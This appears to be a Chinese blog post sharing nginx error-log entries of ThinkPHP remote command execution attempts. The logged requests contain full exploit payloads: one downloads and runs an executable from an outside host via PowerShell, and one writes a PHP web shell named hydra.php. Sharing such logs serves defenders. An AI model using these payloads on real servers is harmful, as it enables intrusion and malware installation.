Home » Default » 日志里的几个ThinkPHP远程命令执行漏洞攻击

2019/10/05 19:57:06 [error] 12276#7584: *1606 CreateFile() "nginx/html/public/index.php" failed (3: The system cannot find the path specified), client: 189.146.70.56, server: INNA-IP, request: "GET /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fky.dfg45dfg45.best/download.exe','%SystemRoot%/Temp/ojgnbdfcnmneijb4618.exe');start%20%SystemRoot%/Temp/ojgnbdfcnmneijb4618.exe HTTP/1.1", host: "x.x.x.x:PORT", referrer: "http://x.x.x.x:PORT/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fky.dfg45dfg45.best/download.exe','%SystemRoot%/Temp/ojgnbdfcnmneijb4618.exe');start %SystemRoot%/Temp/ojgnbdfcnmneijb4618.exe"
2019/10/05 19:57:06 [error] 12276#7584: *1606 CreateFile() "nginx/html/public/index.php" failed (3: The system cannot find the path specified), client: 189.146.70.56, server: INNA-IP, request: "GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20$action%20=%20$_GET['xcmd'];system($action);?^>>hydra.php HTTP/1.1", host: "x.x.x.x:PORT", referrer: "http://x.x.x.x:PORT/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php $action = $_GET['xcmd'];system($action);?^>>hydra.php"
2019/10/05 19:57:06 [error] 12276#7584: *1606 CreateFile() "nginx/html/public/hydra.php" failed (3: The system cannot find the path specified), client: 189.146.70.56, server: INNA-IP, request: "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fky.dfg45dfg45.best/download.exe','%SystemRoot%/Temp/ojgnbdfcnmneijb4618.exe');start%20%SystemRoot%/Temp/ojgnbdfcnmneijb4618.exe HTTP/1.1", host: "x.x.x.x:PORT", referrer: "http://x.x.x.x:PORT/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fky.dfg45dfg45.best/download.exe','%SystemRoot%/Temp/ojgnbdfcnmneijb4618.exe');start %SystemRoot%/Temp/ojgnbdfcnmneijb4618.exe"

标签: ThinkPHP 漏洞 攻击

添加新评论

V